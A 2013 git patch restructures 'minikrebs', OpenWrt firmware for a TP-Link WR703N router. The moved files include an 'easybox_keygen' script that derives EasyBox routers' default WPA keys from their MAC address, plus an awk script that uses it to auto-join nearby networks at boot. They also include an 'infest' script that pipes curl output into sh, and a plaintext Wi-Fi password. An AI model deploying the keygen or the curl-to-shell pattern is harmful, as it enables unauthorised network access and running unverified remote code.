From 2bcf2f215b9b5e1caa3ec7934c7e7b9fb255147d Mon Sep 17 00:00:00 2001 From: makefu Date: Fri, 4 Jan 2013 06:36:26 +0700 Subject: rebuild minikrebs folder --- .../ImageBuilder/customfiles/etc/config/network | 17 -- .../ImageBuilder/customfiles/etc/config/wireless | 18 -- minikrebs/ImageBuilder/customfiles/etc/rc.local | 7 - minikrebs/ImageBuilder/customfiles/etc/wifiblack | 0 minikrebs/ImageBuilder/customfiles/etc/wifipw | 1 - minikrebs/ImageBuilder/customfiles/usr/bin/aap | 115 ---------- .../customfiles/usr/bin/easybox_keygen | 40 ---- minikrebs/ImageBuilder/customfiles/usr/bin/infest | 4 - minikrebs/ImageBuilder/customfiles/usr/bin/ledoff | 2 - .../ImageBuilder/customfiles/usr/bin/tinc-update | 4 - minikrebs/ImageBuilder/doc | 2 - minikrebs/build/heckenkrebs-factory.bin | Bin 0 -> 3932160 bytes minikrebs/build/heckenkrebs-sysupgrade.bin | Bin 0 -> 3538948 bytes minikrebs/doc/SETUP | 2 + minikrebs/lazorcam/doc/lazorcam_druck.svg | 231 --------------------- ...r71xx-generic-tl-wr703n-v1-squashfs-factory.bin | Bin 3932160 -> 0 bytes ...xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin | Bin 3538948 -> 0 bytes minikrebs/profiles/camkrebs/doc/lazorcam_druck.svg | 231 +++++++++++++++++++++ .../heckenkrebs/customfiles/etc/config/network | 17 ++ .../heckenkrebs/customfiles/etc/config/wireless | 18 ++ .../profiles/heckenkrebs/customfiles/etc/rc.local | 7 + .../profiles/heckenkrebs/customfiles/etc/wifiblack | 0 .../profiles/heckenkrebs/customfiles/etc/wifipw | 1 + .../profiles/heckenkrebs/customfiles/usr/bin/aap | 115 ++++++++++ .../heckenkrebs/customfiles/usr/bin/easybox_keygen | 40 ++++ .../heckenkrebs/customfiles/usr/bin/infest | 4 + .../heckenkrebs/customfiles/usr/bin/ledoff | 2 + .../heckenkrebs/customfiles/usr/bin/tinc-update | 4 + 28 files changed, 441 insertions(+), 441 deletions(-) delete mode 100644 minikrebs/ImageBuilder/customfiles/etc/config/network delete mode 100644 minikrebs/ImageBuilder/customfiles/etc/config/wireless delete mode 100644 minikrebs/ImageBuilder/customfiles/etc/rc.local delete mode 100644 minikrebs/ImageBuilder/customfiles/etc/wifiblack delete mode 100644 minikrebs/ImageBuilder/customfiles/etc/wifipw delete mode 100755 minikrebs/ImageBuilder/customfiles/usr/bin/aap delete mode 100755 minikrebs/ImageBuilder/customfiles/usr/bin/easybox_keygen delete mode 100755 minikrebs/ImageBuilder/customfiles/usr/bin/infest delete mode 100755 minikrebs/ImageBuilder/customfiles/usr/bin/ledoff delete mode 100755 minikrebs/ImageBuilder/customfiles/usr/bin/tinc-update delete mode 100644 minikrebs/ImageBuilder/doc create mode 100644 minikrebs/build/heckenkrebs-factory.bin create mode 100644 minikrebs/build/heckenkrebs-sysupgrade.bin create mode 100644 minikrebs/doc/SETUP delete mode 100644 minikrebs/lazorcam/doc/lazorcam_druck.svg delete mode 100644 minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin delete mode 100644 minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin create mode 100644 minikrebs/profiles/camkrebs/doc/lazorcam_druck.svg create mode 100644 minikrebs/profiles/heckenkrebs/customfiles/etc/config/network create mode 100644 minikrebs/profiles/heckenkrebs/customfiles/etc/config/wireless create mode 100644 minikrebs/profiles/heckenkrebs/customfiles/etc/rc.local create mode 100644 minikrebs/profiles/heckenkrebs/customfiles/etc/wifiblack create mode 100644 minikrebs/profiles/heckenkrebs/customfiles/etc/wifipw create mode 100755 minikrebs/profiles/heckenkrebs/customfiles/usr/bin/aap create mode 100755 minikrebs/profiles/heckenkrebs/customfiles/usr/bin/easybox_keygen create mode 100755 minikrebs/profiles/heckenkrebs/customfiles/usr/bin/infest create mode 100755 minikrebs/profiles/heckenkrebs/customfiles/usr/bin/ledoff create mode 100755 minikrebs/profiles/heckenkrebs/customfiles/usr/bin/tinc-update diff --git a/minikrebs/ImageBuilder/customfiles/etc/config/network b/minikrebs/ImageBuilder/customfiles/etc/config/network deleted file mode 100644 index 2feb7400..00000000 --- a/minikrebs/ImageBuilder/customfiles/etc/config/network +++ /dev/null @@ -1,17 +0,0 @@ - -config interface 'loopback' - option ifname 'lo' - option proto 'static' - option ipaddr '127.0.0.1' - option netmask '255.0.0.0' - -config interface 'lan' - option ifname 'eth0' - option type 'bridge' - option proto 'static' - option ipaddr '192.168.1.1' - option netmask '255.255.255.0' - -config interface 'wan' - option ifname 'wlan0' - option proto 'dhcp' diff --git a/minikrebs/ImageBuilder/customfiles/etc/config/wireless b/minikrebs/ImageBuilder/customfiles/etc/config/wireless deleted file mode 100644 index d2dc5a37..00000000 --- a/minikrebs/ImageBuilder/customfiles/etc/config/wireless +++ /dev/null @@ -1,18 +0,0 @@ - -config wifi-device 'radio0' - option type 'mac80211' - option hwmode '11ng' - option path 'platform/ar933x_wmac' - option htmode 'HT20' - list ht_capab 'SHORT-GI-20' - list ht_capab 'SHORT-GI-40' - list ht_capab 'RX-STBC1' - list ht_capab 'DSSS_CCK-40' - -config wifi-iface - option device 'radio0' - option network 'wan' - option encryption 'none' - option mode 'sta' - option ssid 'linksys' - diff --git a/minikrebs/ImageBuilder/customfiles/etc/rc.local b/minikrebs/ImageBuilder/customfiles/etc/rc.local deleted file mode 100644 index 9b8eb564..00000000 --- a/minikrebs/ImageBuilder/customfiles/etc/rc.local +++ /dev/null @@ -1,7 +0,0 @@ -# Put your custom commands here that should be executed once -# the system init finished. By default this file does nothing. - -tincd -n retiolum 2>/dev/null -aap & - -exit 0 diff --git a/minikrebs/ImageBuilder/customfiles/etc/wifiblack b/minikrebs/ImageBuilder/customfiles/etc/wifiblack deleted file mode 100644 index e69de29b..00000000 diff --git a/minikrebs/ImageBuilder/customfiles/etc/wifipw b/minikrebs/ImageBuilder/customfiles/etc/wifipw deleted file mode 100644 index d235df78..00000000 --- a/minikrebs/ImageBuilder/customfiles/etc/wifipw +++ /dev/null @@ -1 +0,0 @@ -shack;weissichnichtbinnochneuhierfragmalralf diff --git a/minikrebs/ImageBuilder/customfiles/usr/bin/aap b/minikrebs/ImageBuilder/customfiles/usr/bin/aap deleted file mode 100755 index 75e1cbfe..00000000 --- a/minikrebs/ImageBuilder/customfiles/usr/bin/aap +++ /dev/null @@ -1,115 +0,0 @@ -#!/usr/bin/awk -f - -BEGIN { - chan=0; - essid=""; - encr=0; - psk2=0; - psk=0; - i=0; - # find interface - start by finding if in sta mode - while( "uci show wireless" | getline) { - if(/mode=sta/) { - split($0,wl,"."); - iface=wl[2]; - } - } - close("uci show wireless") - "uci get wireless." iface ".device" | getline radio - close("uci get wireless." iface ".device") - system("ifconfig wlan0 up") - for(;;){ - while( "iwlist wlan0 scan" | getline ) { - scan[i++]=$0; - } - close("iwlist wlan0 scan") - for (j=0;j 0) { - "easybox_keygen " mac | getline rkey - close("easybox_keygen " mac) - } - else { - print essid " is encrypted and key not in whitelist"; - continue; - } - } - } - system("uci set wireless." radio ".channel=" channel); - system("uci set wireless." iface ".ssid=" essid); - if (crypt == "none") { - system("uci set wireless." iface ".encryption=none"); - system("uci -q delete wireless." iface ".key"); - } - else { - system("uci set wireless." iface ".key=" rkey); - system("uci set wireless." iface ".encryption=" crypt); - } - system("uci show wireless > /tmp/keepalive"); - system("wifi up"); - while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { - system("ledoff") - } - } - else { - # now test for the things we want - # channel - if (/Channel:[0-9]/) { - m=match($0,"Channel"); - if (RSTART > 0) { - s=substr($0,m); - n=match(s,/[0-9]+/); - chan=substr(s,n,RLENGTH) - } - continue; - } - # we don't need else as we break on successful find - if (/^ *ESSID/) { - m=match($0,"\".*\""); - if (RSTART > 0) essid=substr($0,m+1,RLENGTH-2); - continue; - } - if (/^ *Encryption key:on/) { - encr = 1; - continue; - } - if (/^ *IE: IEEE 802.11i\/WPA2/) { - psk2=1; - continue; - } - if (/^ *IE: WPA /) { - psk=1; - continue; - } - } - } - } - } diff --git a/minikrebs/ImageBuilder/customfiles/usr/bin/easybox_keygen b/minikrebs/ImageBuilder/customfiles/usr/bin/easybox_keygen deleted file mode 100755 index e9a9beca..00000000 --- a/minikrebs/ImageBuilder/customfiles/usr/bin/easybox_keygen +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -# -# easybox_keygen.sh (c) 2012 GPLv3 -# -# www.wotan.cc -# - -MAC=$1 - -# Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. - -take5=${MAC:12} -last4=${take5/:/} - -# Fill up to 4 places with zeros, if necessary: -deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') -#echo M4: ${deci[@]} -# -# The digits M9 to M12 are just the last digits (9.-12.) of the MAC: -hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') -#echo 'M4 (Hex): ' ${hexi[@]} -# K1 = last byte of (d0 + d1 + h2 + h3) -# K2 = last byte of (h0 + h1 + d2 + d3) -c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) -c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) -K1=$((($c1)%16)) -K2=$((($c2)%16)) -#printf "K1: %x\n" $K1 -#printf "K2: %x\n" $K2 -X1=$((K1^${deci:6:1})) -X2=$((K1^${deci:4:1})) -X3=$((K1^${deci:2:1})) -Y1=$((K2^0x${hexi:2:1})) -Y2=$((K2^0x${hexi:4:1})) -Y3=$((K2^0x${hexi:6:1})) -Z1=$((0x${hexi:4:1}^${deci:6:1})) -Z2=$((0x${hexi:6:1}^${deci:4:1})) -Z3=$((K1^K2)) -printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F - diff --git a/minikrebs/ImageBuilder/customfiles/usr/bin/infest b/minikrebs/ImageBuilder/customfiles/usr/bin/infest deleted file mode 100755 index f1bcc594..00000000 --- a/minikrebs/ImageBuilder/customfiles/usr/bin/infest +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/sh -printf "enter your tincname:" -read HOSTNAME -curl tinc.krebsco.de | HOSTN=$HOSTNAME sh diff --git a/minikrebs/ImageBuilder/customfiles/usr/bin/ledoff b/minikrebs/ImageBuilder/customfiles/usr/bin/ledoff deleted file mode 100755 index 0bc6ec7a..00000000 --- a/minikrebs/ImageBuilder/customfiles/usr/bin/ledoff +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/sh -echo 0 > /sys/class/leds/tp-link\:blue\:system/brightness diff --git a/minikrebs/ImageBuilder/customfiles/usr/bin/tinc-update b/minikrebs/ImageBuilder/customfiles/usr/bin/tinc-update deleted file mode 100755 index 2c6ec432..00000000 --- a/minikrebs/ImageBuilder/customfiles/usr/bin/tinc-update +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/sh -if test -e /etc/tinc/retiolum; then - if ping -c 1 euer.krebsco.de -W 5 &>/dev/null; then (curl http://euer.krebsco.de/retiolum/supernodes.tar.gz | tar xz -C /etc/tinc/retiolum/hosts/);fi -fi diff --git a/minikrebs/ImageBuilder/doc b/minikrebs/ImageBuilder/doc deleted file mode 100644 index f8e9ca3b..00000000 --- a/minikrebs/ImageBuilder/doc +++ /dev/null @@ -1,2 +0,0 @@ -make command used in image builder. files is the customfiles directory -make image PROFILE=TLWR703 PACKAGES="tinc curl kmod-ipv6 radvd ip wireless-tools block-mount kmod-usb-core kmod-usb2 kmod-usb-storage -kmod-ppp -kmod-pppoe -kmod-pppox -ppp -ppp-mod-pppoe" FILES=files/ diff --git a/minikrebs/build/heckenkrebs-factory.bin b/minikrebs/build/heckenkrebs-factory.bin new file mode 100644 index 00000000..dec89f16 Binary files /dev/null and b/minikrebs/build/heckenkrebs-factory.bin differ diff --git a/minikrebs/build/heckenkrebs-sysupgrade.bin b/minikrebs/build/heckenkrebs-sysupgrade.bin new file mode 100644 index 00000000..70bb0f25 Binary files /dev/null and b/minikrebs/build/heckenkrebs-sysupgrade.bin differ diff --git a/minikrebs/doc/SETUP b/minikrebs/doc/SETUP new file mode 100644 index 00000000..f8e9ca3b --- /dev/null +++ b/minikrebs/doc/SETUP @@ -0,0 +1,2 @@ +make command used in image builder. files is the customfiles directory +make image PROFILE=TLWR703 PACKAGES="tinc curl kmod-ipv6 radvd ip wireless-tools block-mount kmod-usb-core kmod-usb2 kmod-usb-storage -kmod-ppp -kmod-pppoe -kmod-pppox -ppp -ppp-mod-pppoe" FILES=files/ diff --git a/minikrebs/lazorcam/doc/lazorcam_druck.svg b/minikrebs/lazorcam/doc/lazorcam_druck.svg deleted file mode 100644 index 4f376059..00000000 --- a/minikrebs/lazorcam/doc/lazorcam_druck.svg +++ /dev/null @@ -1,231 +0,0 @@ - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - LAZORCAM - Boot: - Lazorcam hat Stom wenn die blaue LED leuchtet- Wenn die LED vom Zustand "Blinkend" in den Zustand "durchgängig Leuchtend" gewechselt ist, ist der Bootvorgang abgeschlossen - Schaue dem Lazor beim Arbeiten zu - - Erreichbarkeit: HTTP: VLC: File -> Open Network Stream -> - http://lazorcam.shack/ - http://lazorcam.shack/?action=stream - - diff --git a/minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin b/minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin deleted file mode 100644 index dec89f16..00000000 Binary files a/minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin and /dev/null differ diff --git a/minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin b/minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin deleted file mode 100644 index 70bb0f25..00000000 Binary files a/minikrebs/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin and /dev/null differ diff --git a/minikrebs/profiles/camkrebs/doc/lazorcam_druck.svg b/minikrebs/profiles/camkrebs/doc/lazorcam_druck.svg new file mode 100644 index 00000000..4f376059 --- /dev/null +++ b/minikrebs/profiles/camkrebs/doc/lazorcam_druck.svg @@ -0,0 +1,231 @@ + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + LAZORCAM + Boot: - Lazorcam hat Stom wenn die blaue LED leuchtet- Wenn die LED vom Zustand "Blinkend" in den Zustand "durchgängig Leuchtend" gewechselt ist, ist der Bootvorgang abgeschlossen + Schaue dem Lazor beim Arbeiten zu + + Erreichbarkeit: HTTP: VLC: File -> Open Network Stream -> + http://lazorcam.shack/ + http://lazorcam.shack/?action=stream + + diff --git a/minikrebs/profiles/heckenkrebs/customfiles/etc/config/network b/minikrebs/profiles/heckenkrebs/customfiles/etc/config/network new file mode 100644 index 00000000..2feb7400 --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/etc/config/network @@ -0,0 +1,17 @@ + +config interface 'loopback' + option ifname 'lo' + option proto 'static' + option ipaddr '127.0.0.1' + option netmask '255.0.0.0' + +config interface 'lan' + option ifname 'eth0' + option type 'bridge' + option proto 'static' + option ipaddr '192.168.1.1' + option netmask '255.255.255.0' + +config interface 'wan' + option ifname 'wlan0' + option proto 'dhcp' diff --git a/minikrebs/profiles/heckenkrebs/customfiles/etc/config/wireless b/minikrebs/profiles/heckenkrebs/customfiles/etc/config/wireless new file mode 100644 index 00000000..d2dc5a37 --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/etc/config/wireless @@ -0,0 +1,18 @@ + +config wifi-device 'radio0' + option type 'mac80211' + option hwmode '11ng' + option path 'platform/ar933x_wmac' + option htmode 'HT20' + list ht_capab 'SHORT-GI-20' + list ht_capab 'SHORT-GI-40' + list ht_capab 'RX-STBC1' + list ht_capab 'DSSS_CCK-40' + +config wifi-iface + option device 'radio0' + option network 'wan' + option encryption 'none' + option mode 'sta' + option ssid 'linksys' + diff --git a/minikrebs/profiles/heckenkrebs/customfiles/etc/rc.local b/minikrebs/profiles/heckenkrebs/customfiles/etc/rc.local new file mode 100644 index 00000000..9b8eb564 --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/etc/rc.local @@ -0,0 +1,7 @@ +# Put your custom commands here that should be executed once +# the system init finished. By default this file does nothing. + +tincd -n retiolum 2>/dev/null +aap & + +exit 0 diff --git a/minikrebs/profiles/heckenkrebs/customfiles/etc/wifiblack b/minikrebs/profiles/heckenkrebs/customfiles/etc/wifiblack new file mode 100644 index 00000000..e69de29b diff --git a/minikrebs/profiles/heckenkrebs/customfiles/etc/wifipw b/minikrebs/profiles/heckenkrebs/customfiles/etc/wifipw new file mode 100644 index 00000000..d235df78 --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/etc/wifipw @@ -0,0 +1 @@ +shack;weissichnichtbinnochneuhierfragmalralf diff --git a/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/aap b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/aap new file mode 100755 index 00000000..75e1cbfe --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/aap @@ -0,0 +1,115 @@ +#!/usr/bin/awk -f + +BEGIN { + chan=0; + essid=""; + encr=0; + psk2=0; + psk=0; + i=0; + # find interface - start by finding if in sta mode + while( "uci show wireless" | getline) { + if(/mode=sta/) { + split($0,wl,"."); + iface=wl[2]; + } + } + close("uci show wireless") + "uci get wireless." iface ".device" | getline radio + close("uci get wireless." iface ".device") + system("ifconfig wlan0 up") + for(;;){ + while( "iwlist wlan0 scan" | getline ) { + scan[i++]=$0; + } + close("iwlist wlan0 scan") + for (j=0;j 0) { + "easybox_keygen " mac | getline rkey + close("easybox_keygen " mac) + } + else { + print essid " is encrypted and key not in whitelist"; + continue; + } + } + } + system("uci set wireless." radio ".channel=" channel); + system("uci set wireless." iface ".ssid=" essid); + if (crypt == "none") { + system("uci set wireless." iface ".encryption=none"); + system("uci -q delete wireless." iface ".key"); + } + else { + system("uci set wireless." iface ".key=" rkey); + system("uci set wireless." iface ".encryption=" crypt); + } + system("uci show wireless > /tmp/keepalive"); + system("wifi up"); + while(system("sleep 60; wget -q -T 30 -O /dev/null http://google.com/index.html") == 0) { + system("ledoff") + } + } + else { + # now test for the things we want + # channel + if (/Channel:[0-9]/) { + m=match($0,"Channel"); + if (RSTART > 0) { + s=substr($0,m); + n=match(s,/[0-9]+/); + chan=substr(s,n,RLENGTH) + } + continue; + } + # we don't need else as we break on successful find + if (/^ *ESSID/) { + m=match($0,"\".*\""); + if (RSTART > 0) essid=substr($0,m+1,RLENGTH-2); + continue; + } + if (/^ *Encryption key:on/) { + encr = 1; + continue; + } + if (/^ *IE: IEEE 802.11i\/WPA2/) { + psk2=1; + continue; + } + if (/^ *IE: WPA /) { + psk=1; + continue; + } + } + } + } + } diff --git a/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/easybox_keygen b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/easybox_keygen new file mode 100755 index 00000000..e9a9beca --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/easybox_keygen @@ -0,0 +1,40 @@ +#!/bin/sh +# +# easybox_keygen.sh (c) 2012 GPLv3 +# +# www.wotan.cc +# + +MAC=$1 + +# Take the last 2 Bytes of the MAC-Address (0B:EC), and convert it to decimal. + +take5=${MAC:12} +last4=${take5/:/} + +# Fill up to 4 places with zeros, if necessary: +deci=$(printf "%04d" "0x$last4" | sed 's/.*\(....\)/\1/;s/./& /g') +#echo M4: ${deci[@]} +# +# The digits M9 to M12 are just the last digits (9.-12.) of the MAC: +hexi=$(echo ${MAC:12:5} | sed 's/://;s/./& /g') +#echo 'M4 (Hex): ' ${hexi[@]} +# K1 = last byte of (d0 + d1 + h2 + h3) +# K2 = last byte of (h0 + h1 + d2 + d3) +c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1}) +c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1}) +K1=$((($c1)%16)) +K2=$((($c2)%16)) +#printf "K1: %x\n" $K1 +#printf "K2: %x\n" $K2 +X1=$((K1^${deci:6:1})) +X2=$((K1^${deci:4:1})) +X3=$((K1^${deci:2:1})) +Y1=$((K2^0x${hexi:2:1})) +Y2=$((K2^0x${hexi:4:1})) +Y3=$((K2^0x${hexi:6:1})) +Z1=$((0x${hexi:4:1}^${deci:6:1})) +Z2=$((0x${hexi:6:1}^${deci:4:1})) +Z3=$((K1^K2)) +printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F + diff --git a/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/infest b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/infest new file mode 100755 index 00000000..f1bcc594 --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/infest @@ -0,0 +1,4 @@ +#!/bin/sh +printf "enter your tincname:" +read HOSTNAME +curl tinc.krebsco.de | HOSTN=$HOSTNAME sh diff --git a/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/ledoff b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/ledoff new file mode 100755 index 00000000..0bc6ec7a --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/ledoff @@ -0,0 +1,2 @@ +#!/bin/sh +echo 0 > /sys/class/leds/tp-link\:blue\:system/brightness diff --git a/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/tinc-update b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/tinc-update new file mode 100755 index 00000000..2c6ec432 --- /dev/null +++ b/minikrebs/profiles/heckenkrebs/customfiles/usr/bin/tinc-update @@ -0,0 +1,4 @@ +#!/bin/sh +if test -e /etc/tinc/retiolum; then + if ping -c 1 euer.krebsco.de -W 5 &>/dev/null; then (curl http://euer.krebsco.de/retiolum/supernodes.tar.gz | tar xz -C /etc/tinc/retiolum/hosts/);fi +fi -- cgit v1.2.3